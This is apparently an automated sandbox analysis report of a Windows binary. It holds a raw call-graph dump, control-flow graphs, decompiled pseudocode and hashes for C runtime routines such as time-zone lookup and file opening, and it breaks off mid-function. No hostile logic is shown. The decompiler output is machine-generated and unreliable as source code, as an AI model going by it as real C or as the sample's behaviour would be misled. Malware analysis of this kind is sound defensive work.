7ff7da8f5619 19080 7ff7da8e4394 _get_daylight 11 API calls 19076->19080 19077->19076 19082 7ff7da8f563e 19077->19082 19078->18938 19084 7ff7da8e9d00 _invalid_parameter_noinfo 37 API calls 19079->19084 19081 7ff7da8f561e 19080->19081 19085 7ff7da8e9d00 _invalid_parameter_noinfo 37 API calls 19081->19085 19092 7ff7da8e496c 45 API calls 19082->19092 19097 7ff7da8f5629 19082->19097 19087 7ff7da8e4394 _get_daylight 11 API calls 19083->19087 19088 7ff7da8f55ce 19084->19088 19085->19097 19089 7ff7da8f6486 19086->19089 19090 7ff7da8f6474 19086->19090 19093 7ff7da8f6458 19087->19093 19088->18938 19095 7ff7da8f64ae 19089->19095 19096 7ff7da8f6497 19089->19096 19094 7ff7da8e4394 _get_daylight 11 API calls 19090->19094 19091->18938 19092->19097 19098 7ff7da8e9d00 _invalid_parameter_noinfo 37 API calls 19093->19098 19099 7ff7da8f6479 19094->19099 19249 7ff7da8f82d8 19095->19249 19240 7ff7da8f55fc 19096->19240 19097->18938 19098->19078 19102 7ff7da8e9d00 _invalid_parameter_noinfo 37 API calls 19099->19102 19102->19078 19104 7ff7da8e4394 _get_daylight 11 API calls 19104->19078 19106 7ff7da8f246e 19105->19106 19107 7ff7da8f248b 19105->19107 19106->19107 19108 7ff7da8f247c 19106->19108 19109 7ff7da8f2495 19107->19109 19289 7ff7da8f6f08 19107->19289 19110 7ff7da8e4394 _get_daylight 11 API calls 19108->19110 19296 7ff7da8ef8dc 19109->19296 19113 7ff7da8f2481 __scrt_get_show_window_mode 19110->19113 19113->18959 19115 7ff7da8e496c 45 API calls 19114->19115 19116 7ff7da8f657a 19115->19116 19117 7ff7da8f6588 19116->19117 19118 7ff7da8edf1c 5 API calls 19116->19118 19119 7ff7da8e4454 14 API calls 19117->19119 19118->19117 19120 7ff7da8f65e4 19119->19120 19121 7ff7da8f6674 19120->19121 19122 7ff7da8e496c 45 API calls 19120->19122 19124 7ff7da8f6685 19121->19124 19126 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 19121->19126 19123 7ff7da8f65f7 19122->19123 19125 7ff7da8f6600 19123->19125 19128 7ff7da8edf1c 5 API calls 19123->19128 19127 7ff7da8efc33 19124->19127 19129 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 19124->19129 19130 7ff7da8e4454 14 API calls 19125->19130 19126->19124 19127->18979 19127->18980 19128->19125 19129->19127 19131 7ff7da8f665b 19130->19131 19131->19121 19132 7ff7da8f6663 SetEnvironmentVariableW 19131->19132 19132->19121 19134 7ff7da8f011f 19133->19134 19135 7ff7da8f013c 19133->19135 19134->18990 19136 7ff7da8edc90 _get_daylight 11 API calls 19135->19136 19142 7ff7da8f0160 19136->19142 19137 7ff7da8f01c1 19140 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 19137->19140 19138 7ff7da8e915c __CxxCallCatchBlock 45 API calls 19139 7ff7da8f01ea 19138->19139 19140->19134 19141 7ff7da8edc90 _get_daylight 11 API calls 19141->19142 19142->19137 19142->19141 19143 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 19142->19143 19144 7ff7da8ef874 _wfindfirst32i64 37 API calls 19142->19144 19145 7ff7da8f01d0 19142->19145 19147 7ff7da8f01e4 19142->19147 19143->19142 19144->19142 19146 7ff7da8e9d20 _wfindfirst32i64 17 API calls 19145->19146 19146->19147 19147->19138 19149 7ff7da8e84b4 19148->19149 19152 7ff7da8e84bd 19148->19152 19150 7ff7da8e7fb4 40 API calls 19149->19150 19149->19152 19151 7ff7da8e84c6 19150->19151 19151->19152 19153 7ff7da8e8374 12 API calls 19151->19153 19152->19006 19152->19007 19153->19152 19155 7ff7da8f62c9 19154->19155 19159 7ff7da8f62f6 19154->19159 19156 7ff7da8f62ce 19155->19156 19155->19159 19157 7ff7da8e4394 _get_daylight 11 API calls 19156->19157 19158 7ff7da8f62d3 19157->19158 19161 7ff7da8e9d00 _invalid_parameter_noinfo 37 API calls 19158->19161 19160 7ff7da8f633a 19159->19160 19162 7ff7da8f6359 19159->19162 19175 7ff7da8f632e __crtLCMapStringW 19159->19175 19163 7ff7da8e4394 _get_daylight 11 API calls 19160->19163 19165 7ff7da8f62de 19161->19165 19166 7ff7da8f6375 19162->19166 19167 7ff7da8f6363 19162->19167 19164 7ff7da8f633f 19163->19164 19168 7ff7da8e9d00 _invalid_parameter_noinfo 37 API calls 19164->19168 19165->19000 19170 7ff7da8e496c 45 API calls 19166->19170 19169 7ff7da8e4394 _get_daylight 11 API calls 19167->19169 19168->19175 19171 7ff7da8f6368 19169->19171 19172 7ff7da8f6382 19170->19172 19173 7ff7da8e9d00 _invalid_parameter_noinfo 37 API calls 19171->19173 19172->19175 19308 7ff7da8f7e94 19172->19308 19173->19175 19175->19000 19177 7ff7da8e4394 _get_daylight 11 API calls 19177->19175 19179 7ff7da8e7f55 19178->19179 19180 7ff7da8e7f59 19178->19180 19179->19064 19193 7ff7da8e8294 19179->19193 19181 7ff7da8f1680 65 API calls 19180->19181 19182 7ff7da8e7f5e 19181->19182 19201 7ff7da8f19bc GetEnvironmentStringsW 19182->19201 19185 7ff7da8e7f6b 19187 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 19185->19187 19186 7ff7da8e7f77 19221 7ff7da8e8024 19186->19221 19187->19179 19190 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 19191 7ff7da8e7f9e 19190->19191 19192 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 19191->19192 19192->19179 19194 7ff7da8e82bd 19193->19194 19199 7ff7da8e82d6 19193->19199 19194->19064 19195 7ff7da8ef008 WideCharToMultiByte 19195->19199 19196 7ff7da8edc90 _get_daylight 11 API calls 19196->19199 19197 7ff7da8e8366 19198 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 19197->19198 19198->19194 19199->19194 19199->19195 19199->19196 19199->19197 19200 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 19199->19200 19200->19199 19202 7ff7da8e7f63 19201->19202 19203 7ff7da8f19ec 19201->19203 19202->19185 19202->19186 19204 7ff7da8ef008 WideCharToMultiByte 19203->19204 19205 7ff7da8f1a3d 19204->19205 19206 7ff7da8f1a44 FreeEnvironmentStringsW 19205->19206 19207 7ff7da8eca1c _fread_nolock 12 API calls 19205->19207 19206->19202 19208 7ff7da8f1a57 19207->19208 19209 7ff7da8f1a5f 19208->19209 19210 7ff7da8f1a68 19208->19210 19211 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 19209->19211 19212 7ff7da8ef008 WideCharToMultiByte 19210->19212 19213 7ff7da8f1a66 19211->19213 19214 7ff7da8f1a8b 19212->19214 19213->19206 19215 7ff7da8f1a8f 19214->19215 19216 7ff7da8f1a99 19214->19216 19218 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 19215->19218 19217 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 19216->19217 19219 7ff7da8f1a97 FreeEnvironmentStringsW 19217->19219 19218->19219 19219->19202 19222 7ff7da8e8049 19221->19222 19223 7ff7da8edc90 _get_daylight 11 API calls 19222->19223 19235 7ff7da8e807f 19223->19235 19224 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 19225 7ff7da8e7f7f 19224->19225 19225->19190 19226 7ff7da8e80fa 19227 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 19226->19227 19227->19225 19228 7ff7da8edc90 _get_daylight 11 API calls 19228->19235 19229 7ff7da8e80e9 19230 7ff7da8e8250 11 API calls 19229->19230 19232 7ff7da8e80f1 19230->19232 19231 7ff7da8e90fc __std_exception_copy 37 API calls 19231->19235 19233 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 19232->19233 19236 7ff7da8e8087 19233->19236 19234 7ff7da8e811f 19237 7ff7da8e9d20 _wfindfirst32i64 17 API calls 19234->19237 19235->19226 19235->19228 19235->19229 19235->19231 19235->19234 19235->19236 19238 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 19235->19238 19236->19224 19239 7ff7da8e8132 19237->19239 19238->19235 19241 7ff7da8f5630 19240->19241 19242 7ff7da8f5619 19240->19242 19241->19242 19245 7ff7da8f563e 19241->19245 19243 7ff7da8e4394 _get_daylight 11 API calls 19242->19243 19244 7ff7da8f561e 19243->19244 19246 7ff7da8e9d00 _invalid_parameter_noinfo 37 API calls 19244->19246 19247 7ff7da8e496c 45 API calls 19245->19247 19248 7ff7da8f5629 19245->19248 19246->19248 19247->19248 19248->19078 19250 7ff7da8e496c 45 API calls 19249->19250 19251 7ff7da8f82fd 19250->19251 19254 7ff7da8f7f54 19251->19254 19258 7ff7da8f7fa2 19254->19258 19255 7ff7da8dacf0 _wfindfirst32i64 8 API calls 19256 7ff7da8f64d5 19255->19256 19256->19078 19256->19104 19257 7ff7da8f8029 19259 7ff7da8ee740 _fread_nolock MultiByteToWideChar 19257->19259 19263 7ff7da8f802d 19257->19263 19258->19257 19260 7ff7da8f8014 GetCPInfo 19258->19260 19258->19263 19261 7ff7da8f80c1 19259->19261 19260->19257 19260->19263 19262 7ff7da8eca1c _fread_nolock 12 API calls 19261->19262 19261->19263 19264 7ff7da8f80f8 19261->19264 19262->19264 19263->19255 19264->19263 19265 7ff7da8ee740 _fread_nolock MultiByteToWideChar 19264->19265 19266 7ff7da8f8166 19265->19266 19267 7ff7da8f8248 19266->19267 19268 7ff7da8ee740 _fread_nolock MultiByteToWideChar 19266->19268 19267->19263 19269 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 19267->19269 19270 7ff7da8f818c 19268->19270 19269->19263 19270->19267 19271 7ff7da8eca1c _fread_nolock 12 API calls 19270->19271 19272 7ff7da8f81b9 19270->19272 19271->19272 19272->19267 19273 7ff7da8ee740 _fread_nolock MultiByteToWideChar 19272->19273 19274 7ff7da8f8230 19273->19274 19275 7ff7da8f8236 19274->19275 19276 7ff7da8f8250 19274->19276 19275->19267 19278 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 19275->19278 19283 7ff7da8edf60 19276->19283 19278->19267 19280 7ff7da8f828f 19280->19263 19282 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 19280->19282 19281 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 19281->19280 19282->19263 19284 7ff7da8edd08 __crtLCMapStringW 5 API calls 19283->19284 19285 7ff7da8edf9e 19284->19285 19286 7ff7da8ee1c8 __crtLCMapStringW 5 API calls 19285->19286 19288 7ff7da8edfa6 19285->19288 19287 7ff7da8ee00f CompareStringW 19286->19287 19287->19288 19288->19280 19288->19281 19290 7ff7da8f6f11 19289->19290 19291 7ff7da8f6f2a HeapSize 19289->19291 19292 7ff7da8e4394 _get_daylight 11 API calls 19290->19292 19293 7ff7da8f6f16 19292->19293 19294 7ff7da8e9d00 _invalid_parameter_noinfo 37 API calls 19293->19294 19295 7ff7da8f6f21 19294->19295 19295->19109 19297 7ff7da8ef8f1 19296->19297 19298 7ff7da8ef8fb 19296->19298 19299 7ff7da8eca1c _fread_nolock 12 API calls 19297->19299 19300 7ff7da8ef900 19298->19300 19306 7ff7da8ef907 _get_daylight 19298->19306 19305 7ff7da8ef8f9 19299->19305 19303 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 19300->19303 19301 7ff7da8ef90d 19304 7ff7da8e4394 _get_daylight 11 API calls 19301->19304 19302 7ff7da8ef93a HeapReAlloc 19302->19305 19302->19306 19303->19305 19304->19305 19305->19113 19306->19301 19306->19302 19307 7ff7da8f2600 _get_daylight 2 API calls 19306->19307 19307->19306 19310 7ff7da8f7ebd __crtLCMapStringW 19308->19310 19309 7ff7da8f63be 19309->19175 19309->19177 19310->19309 19311 7ff7da8edf60 6 API calls 19310->19311 19311->19309 17925 7ff7da8e8709 17926 7ff7da8e9028 45 API calls 17925->17926 17927 7ff7da8e870e 17926->17927 17928 7ff7da8e8735 GetModuleHandleW 17927->17928 17929 7ff7da8e877f 17927->17929 17928->17929 17935 7ff7da8e8742 17928->17935 17937 7ff7da8e860c 17929->17937 17935->17929 17951 7ff7da8e8830 GetModuleHandleExW 17935->17951 17957 7ff7da8ef6d8 EnterCriticalSection 17937->17957 17952 7ff7da8e8864 GetProcAddress 17951->17952 17953 7ff7da8e888d 17951->17953 17954 7ff7da8e8876 17952->17954 17955 7ff7da8e8892 FreeLibrary 17953->17955 17956 7ff7da8e8899 17953->17956 17954->17953 17955->17956 17956->17929

                                                                                                                              Executed Functions

                                                                                                                              Function 00007FF7DA8F4D70 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 334timeCOMMONCrypto
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 135 7ff7da8f4d70-7ff7da8f4dab call 7ff7da8f46f8 call 7ff7da8f4700 call 7ff7da8f4768 142 7ff7da8f4fd5-7ff7da8f5021 call 7ff7da8e9d20 call 7ff7da8f46f8 call 7ff7da8f4700 call 7ff7da8f4768 135->142 143 7ff7da8f4db1-7ff7da8f4dbc call 7ff7da8f4708 135->143 169 7ff7da8f515f-7ff7da8f51cd call 7ff7da8e9d20 call 7ff7da8f0608 142->169 170 7ff7da8f5027-7ff7da8f5032 call 7ff7da8f4708 142->170 143->142 148 7ff7da8f4dc2-7ff7da8f4dcc 143->148 150 7ff7da8f4dee-7ff7da8f4df2 148->150 151 7ff7da8f4dce-7ff7da8f4dd1 148->151 154 7ff7da8f4df5-7ff7da8f4dfd 150->154 153 7ff7da8f4dd4-7ff7da8f4ddf 151->153 156 7ff7da8f4de1-7ff7da8f4de8 153->156 157 7ff7da8f4dea-7ff7da8f4dec 153->157 154->154 158 7ff7da8f4dff-7ff7da8f4e12 call 7ff7da8eca1c 154->158 156->153 156->157 157->150 160 7ff7da8f4e1b-7ff7da8f4e29 157->160 165 7ff7da8f4e14-7ff7da8f4e16 call 7ff7da8e9d68 158->165 166 7ff7da8f4e2a-7ff7da8f4e36 call 7ff7da8e9d68 158->166 165->160 175 7ff7da8f4e3d-7ff7da8f4e45 166->175 189 7ff7da8f51cf-7ff7da8f51d6 169->189 190 7ff7da8f51db-7ff7da8f51de 169->190 170->169 179 7ff7da8f5038-7ff7da8f5043 call 7ff7da8f4738 170->179 175->175 178 7ff7da8f4e47-7ff7da8f4e58 call 7ff7da8ef874 175->178 178->142 187 7ff7da8f4e5e-7ff7da8f4eb4 call 7ff7da8dc170 * 4 call 7ff7da8f4c8c 178->187 179->169 188 7ff7da8f5049-7ff7da8f506c call 7ff7da8e9d68 GetTimeZoneInformation 179->188 247 7ff7da8f4eb6-7ff7da8f4eba 187->247 204 7ff7da8f5134-7ff7da8f515e call 7ff7da8f46f0 call 7ff7da8f46e0 call 7ff7da8f46e8 188->204 205 7ff7da8f5072-7ff7da8f5093 188->205 193 7ff7da8f526b-7ff7da8f526e 189->193 194 7ff7da8f5215-7ff7da8f5228 call 7ff7da8eca1c 190->194 195 7ff7da8f51e0 190->195 199 7ff7da8f51e3 call 7ff7da8f4fec 193->199 200 7ff7da8f5274-7ff7da8f527c call 7ff7da8f4d70 193->200 208 7ff7da8f5233-7ff7da8f524e call 7ff7da8f0608 194->208 209 7ff7da8f522a 194->209 195->199 213 7ff7da8f51e8-7ff7da8f5214 call 7ff7da8e9d68 call 7ff7da8dacf0 199->213 200->213 211 7ff7da8f5095-7ff7da8f509b 205->211 212 7ff7da8f509e-7ff7da8f50a5 205->212 231 7ff7da8f5255-7ff7da8f5267 call 7ff7da8e9d68 208->231 232 7ff7da8f5250-7ff7da8f5253 208->232 215 7ff7da8f522c-7ff7da8f5231 call 7ff7da8e9d68 209->215 211->212 218 7ff7da8f50b9 212->218 219 7ff7da8f50a7-7ff7da8f50af 212->219 215->195 225 7ff7da8f50bb-7ff7da8f512f call 7ff7da8dc170 * 4 call 7ff7da8f1bcc call 7ff7da8f5284 * 2 218->225 219->218 226 7ff7da8f50b1-7ff7da8f50b7 219->226 225->204 226->225 231->193 232->215 249 7ff7da8f4ec0-7ff7da8f4ec4 247->249 250 7ff7da8f4ebc 247->250 249->247 252 7ff7da8f4ec6-7ff7da8f4eeb call 7ff7da8f7bb4 249->252 250->249 258 7ff7da8f4eee-7ff7da8f4ef2 252->258 260 7ff7da8f4ef4-7ff7da8f4eff 258->260 261 7ff7da8f4f01-7ff7da8f4f05 258->261 260->261 263 7ff7da8f4f07-7ff7da8f4f0b 260->263 261->258 265 7ff7da8f4f0d-7ff7da8f4f35 call 7ff7da8f7bb4 263->265 266 7ff7da8f4f8c-7ff7da8f4f90 263->266 275 7ff7da8f4f53-7ff7da8f4f57 265->275 276 7ff7da8f4f37 265->276 268 7ff7da8f4f92-7ff7da8f4f94 266->268 269 7ff7da8f4f97-7ff7da8f4fa4 266->269 268->269 271 7ff7da8f4fa6-7ff7da8f4fbc call 7ff7da8f4c8c 269->271 272 7ff7da8f4fbf-7ff7da8f4fce call 7ff7da8f46f0 call 7ff7da8f46e0 269->272 271->272 272->142 275->266 279 7ff7da8f4f59-7ff7da8f4f77 call 7ff7da8f7bb4 275->279 281 7ff7da8f4f3a-7ff7da8f4f41 276->281 287 7ff7da8f4f83-7ff7da8f4f8a 279->287 281->275 282 7ff7da8f4f43-7ff7da8f4f51 281->282 282->275 282->281 287->266 288 7ff7da8f4f79-7ff7da8f4f7d 287->288 288->266 289 7ff7da8f4f7f 288->289 289->287
                                                                                                                              C-Code - Quality: 100%
                                                                                                                              			E00007FF77FF7DA8F4D70(void* __eflags, void* __rax, signed short* __rcx, char _a16, char _a24) {
				void* _t10;
				intOrPtr _t23;
				void* _t29;
				signed short* _t31;
				intOrPtr _t36;
				signed long long _t42;

				_t29 = __rax;
				E00007FF77FF7DA8F4700(E00007FF77FF7DA8F46F8(_t10));
				r12d = 0;
				_a16 = r12d;
				_a24 = r12d;
				if (E00007FF77FF7DA8F4768(_t29,  &_a16) != 0) goto 0xda8f4fd5;
				if (E00007FF77FF7DA8F4708(_t29,  &_a24) != 0) goto 0xda8f4fd5;
				_t36 =  *0xda91d2b0; // 0x0
				_t23 = _t36;
				if (_t23 == 0) goto 0xda8f4dee;
				r8d =  *(__rcx + _t36 - __rcx) & 0x0000ffff;
				if (_t23 != 0) goto 0xda8f4dea;
				_t31 =  &(__rcx[1]);
				if (r8d != 0) goto 0xda8f4dd4;
				if (( *__rcx & 0x0000ffff) - r8d == 0) goto 0xda8f4e1b;
				_t39 = (_t42 | 0xffffffff) + 1;
				if (__rcx[(_t42 | 0xffffffff) + 1] != r12w) goto 0xda8f4df5;
				E00007FF77FF7DA8ECA1C(_t31, 2 + _t39 * 2);
				if (_t31 != 0) goto 0xda8f4e2a;
				return E00007FF77FF7DA8E9D68(_t31, 2 + _t39 * 2);
			}









                                                                                                                              0x7ff7da8f4d70
                                                                                                                              0x7ff7da8f4d8d
                                                                                                                              0x7ff7da8f4d92
                                                                                                                              0x7ff7da8f4d99
                                                                                                                              0x7ff7da8f4da0
                                                                                                                              0x7ff7da8f4dab
                                                                                                                              0x7ff7da8f4dbc
                                                                                                                              0x7ff7da8f4dc2
                                                                                                                              0x7ff7da8f4dc9
                                                                                                                              0x7ff7da8f4dcc
                                                                                                                              0x7ff7da8f4dd7
                                                                                                                              0x7ff7da8f4ddf
                                                                                                                              0x7ff7da8f4de1
                                                                                                                              0x7ff7da8f4de8
                                                                                                                              0x7ff7da8f4dec
                                                                                                                              0x7ff7da8f4df5
                                                                                                                              0x7ff7da8f4dfd
                                                                                                                              0x7ff7da8f4e07
                                                                                                                              0x7ff7da8f4e12
                                                                                                                              0x7ff7da8f4e29

                                                                                                                              APIs
                                                                                                                              • _get_daylight.LIBCMT ref: 00007FF7DA8F4DB5
                                                                                                                                • Part of subcall function 00007FF7DA8F4708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7DA8F471C
                                                                                                                                • Part of subcall function 00007FF7DA8E9D68: RtlReleasePrivilege.NTDLL(?,?,?,00007FF7DA8F1D92,?,?,?,00007FF7DA8F1DCF,?,?,00000000,00007FF7DA8F2295,?,?,?,00007FF7DA8F21C7), ref: 00007FF7DA8E9D7E
                                                                                                                                • Part of subcall function 00007FF7DA8E9D68: GetLastError.KERNEL32(?,?,?,00007FF7DA8F1D92,?,?,?,00007FF7DA8F1DCF,?,?,00000000,00007FF7DA8F2295,?,?,?,00007FF7DA8F21C7), ref: 00007FF7DA8E9D88
                                                                                                                                • Part of subcall function 00007FF7DA8E9D20: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF7DA8E9CFF,?,?,?,?,?,00007FF7DA8E213C), ref: 00007FF7DA8E9D29
                                                                                                                                • Part of subcall function 00007FF7DA8E9D20: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF7DA8E9CFF,?,?,?,?,?,00007FF7DA8E213C), ref: 00007FF7DA8E9D4E
                                                                                                                              • _get_daylight.LIBCMT ref: 00007FF7DA8F4DA4
                                                                                                                                • Part of subcall function 00007FF7DA8F4768: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7DA8F477C
                                                                                                                              • _get_daylight.LIBCMT ref: 00007FF7DA8F501A
                                                                                                                              • _get_daylight.LIBCMT ref: 00007FF7DA8F502B
                                                                                                                              • _get_daylight.LIBCMT ref: 00007FF7DA8F503C
                                                                                                                              • GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7DA8F527C), ref: 00007FF7DA8F5063
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureInformationLastPresentPrivilegeProcessProcessorReleaseTimeZone
                                                                                                                              • String ID: Pacific Daylight Time$Pacific Standard Time
                                                                                                                              • API String ID: 415722205-1154798116
                                                                                                                              • Opcode ID: 816439d3bd575303d6dac3b755dec2291bd9c4597d9bb63b95ebff5b14bd9145
                                                                                                                              • Instruction ID: 54c32586a4094a7df6b475d4a8757fa1cef680a9392766637f084a1150e3875b
                                                                                                                              • Opcode Fuzzy Hash: 816439d3bd575303d6dac3b755dec2291bd9c4597d9bb63b95ebff5b14bd9145
                                                                                                                              • Instruction Fuzzy Hash: C5D19E26E0825386FB26BF2598401BDA6A1FBA4794FC44177EE4D87687DF3CE461C360
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8F5CBC Relevance: 13.8, APIs: 9, Instructions: 276fileCOMMONCrypto
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 320 7ff7da8f5cbc-7ff7da8f5d2f call 7ff7da8f59f0 323 7ff7da8f5d31-7ff7da8f5d3a call 7ff7da8e4374 320->323 324 7ff7da8f5d49-7ff7da8f5d53 call 7ff7da8e6c4c 320->324 331 7ff7da8f5d3d-7ff7da8f5d44 call 7ff7da8e4394 323->331 329 7ff7da8f5d55-7ff7da8f5d6c call 7ff7da8e4374 call 7ff7da8e4394 324->329 330 7ff7da8f5d6e-7ff7da8f5dd7 CreateFileW 324->330 329->331 334 7ff7da8f5e54-7ff7da8f5e5f GetFileType 330->334 335 7ff7da8f5dd9-7ff7da8f5ddf 330->335 342 7ff7da8f608a-7ff7da8f60aa 331->342 337 7ff7da8f5e61-7ff7da8f5e9c GetLastError call 7ff7da8e4308 CloseHandle 334->337 338 7ff7da8f5eb2-7ff7da8f5eb9 334->338 340 7ff7da8f5e21-7ff7da8f5e4f GetLastError call 7ff7da8e4308 335->340 341 7ff7da8f5de1-7ff7da8f5de5 335->341 337->331 354 7ff7da8f5ea2-7ff7da8f5ead call 7ff7da8e4394 337->354 345 7ff7da8f5ec1-7ff7da8f5ec4 338->345 346 7ff7da8f5ebb-7ff7da8f5ebf 338->346 340->331 341->340 347 7ff7da8f5de7-7ff7da8f5e1f CreateFileW 341->347 352 7ff7da8f5eca-7ff7da8f5f1f call 7ff7da8e6b64 345->352 353 7ff7da8f5ec6 345->353 346->352 347->334 347->340 359 7ff7da8f5f21-7ff7da8f5f2d call 7ff7da8f5bf8 352->359 360 7ff7da8f5f3e-7ff7da8f5f6f call 7ff7da8f5770 352->360 353->352 354->331 359->360 365 7ff7da8f5f2f 359->365 366 7ff7da8f5f75-7ff7da8f5fb7 360->366 367 7ff7da8f5f71-7ff7da8f5f73 360->367 368 7ff7da8f5f31-7ff7da8f5f39 call 7ff7da8e9ee0 365->368 369 7ff7da8f5fd9-7ff7da8f5fe4 366->369 370 7ff7da8f5fb9-7ff7da8f5fbd 366->370 367->368 368->342 373 7ff7da8f5fea-7ff7da8f5fee 369->373 374 7ff7da8f6088 369->374 370->369 372 7ff7da8f5fbf-7ff7da8f5fd4 370->372 372->369 373->374 376 7ff7da8f5ff4-7ff7da8f6039 CloseHandle CreateFileW 373->376 374->342 377 7ff7da8f606e-7ff7da8f6083 376->377 378 7ff7da8f603b-7ff7da8f6069 GetLastError call 7ff7da8e4308 call 7ff7da8e6d8c 376->378 377->374 378->377
                                                                                                                              C-Code - Quality: 40%
                                                                                                                              			E00007FF77FF7DA8F5CBC(void* __ecx, void* __eflags, long long __rbx, long long __rcx, signed int* __rdx, long long __rdi, long long __rsi, long long __r8) {
				void* __rbp;
				signed int _t148;
				long _t161;
				void* _t165;
				signed int _t167;
				void* _t182;
				signed int _t185;
				signed int _t186;
				intOrPtr* _t234;
				intOrPtr* _t237;
				long long _t249;
				long long _t257;
				signed long long _t263;
				signed long long _t279;
				signed int* _t303;
				long long _t306;
				void* _t308;
				void* _t309;
				intOrPtr* _t311;
				void* _t312;
				void* _t320;
				void* _t322;
				void* _t326;
				void* _t330;

				_t234 = _t311;
				 *((long long*)(_t234 + 8)) = __rbx;
				 *((long long*)(_t234 + 0x10)) = __rsi;
				 *((long long*)(_t234 + 0x20)) = __rdi;
				 *((long long*)(_t234 + 0x18)) = __r8;
				_t309 = _t234 - 0x47;
				_t312 = _t311 - 0xc0;
				r12d = r9d;
				_t257 = __r8;
				r9d =  *(_t309 + 0x77);
				_t303 = __rdx;
				r8d =  *(_t309 + 0x6f);
				_t306 = __rcx;
				E00007FF77FF7DA8F59F0(r12d, __eflags, _t234, __r8, _t309 - 1, _t309);
				asm("movups xmm0, [eax]");
				asm("movsd xmm1, [eax+0x10]");
				asm("movups [ebp-0x59], xmm0");
				asm("psrldq xmm0, 0x8");
				asm("dec cx");
				asm("movsd [ebp-0x39], xmm1");
				asm("movsd [ebp-0x49], xmm1");
				 *(_t309 - 0x29) = _t330 >> 0x20;
				if (r15d != 0xffffffff) goto 0xda8f5d49;
				E00007FF77FF7DA8E4374(_t234);
				 *_t234 = 0;
				 *__rdx =  *__rdx | 0xffffffff;
				E00007FF77FF7DA8E4394(_t234);
				goto 0xda8f608a;
				_t148 = E00007FF77FF7DA8E6C4C(r12d, _t234, __r8, __rdx, __rdx, _t306);
				 *__rdx = _t148;
				if (_t148 != 0xffffffff) goto 0xda8f5d6e;
				E00007FF77FF7DA8E4374(_t234);
				 *_t234 = 0;
				 *__rdx =  *__rdx | 0xffffffff;
				E00007FF77FF7DA8E4394(_t234);
				 *_t234 = 0x18;
				goto 0xda8f5d3d;
				r8d = r15d;
				r14d = r14d |  *(_t309 - 0x49);
				 *_t306 = 1;
				 *((long long*)(_t312 + 0x30)) = _t306;
				 *(_t312 + 0x28) = r14d;
				 *((intOrPtr*)(_t312 + 0x20)) =  *((intOrPtr*)(_t309 - 0x51));
				 *((intOrPtr*)(_t309 - 0x21)) = 0x18;
				 *((long long*)(_t309 - 0x19)) = _t306;
				 *(_t309 - 0x11) =  !(r12d >> 7) & 0x00000001;
				 *(_t309 - 0x31) =  *(_t309 - 0x49) >> 0x20;
				CreateFileW(??, ??, ??, ??, ??, ??, ??); // executed
				_t185 =  *(_t309 - 0x55);
				if (_t234 != 0xffffffff) goto 0xda8f5e54;
				if ((_t185 & 0xc0000000) != 0xc0000000) goto 0xda8f5e21;
				if ((r12b & 0x00000001) == 0) goto 0xda8f5e21;
				 *((long long*)(_t312 + 0x30)) = _t306;
				asm("btr ebx, 0x1f");
				 *(_t309 - 0x55) = _t185;
				r8d = r15d;
				 *(_t312 + 0x28) = r14d;
				 *((intOrPtr*)(_t312 + 0x20)) =  *((intOrPtr*)(_t309 - 0x51));
